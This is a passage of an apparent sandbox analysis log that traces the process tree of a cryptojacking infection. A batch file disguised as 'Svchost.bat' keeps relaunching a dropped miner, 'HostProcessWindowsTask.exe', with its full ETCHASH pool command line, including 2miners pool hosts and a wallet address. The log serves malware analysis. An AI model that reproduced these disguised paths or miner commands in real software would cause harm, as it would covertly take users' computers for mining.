      4⤵
      PID:3988
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5044
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:216
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1156
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3816
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4156
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3828
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:3344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4008
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3212
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4408
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:448
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4776
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1656
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:2696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5264
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:5304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3800
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:3008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5556
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4152
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1656
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5660
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4396
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4916
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3468
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5724
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1280
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2024
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5740
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5772
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5200
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5780
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5500
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5448
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6500
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:7088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6596
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6828
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:7040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:872
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5600
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:980
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6968
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:7012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5936
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7056
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6460
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7144
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6980
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:7064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6848
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7080
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:6508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:672
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6256
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:6104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7072
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6492
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6332
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7152
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5280
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7144
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5320
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:4788
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      Executes dropped EXE
      PID:7016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7744
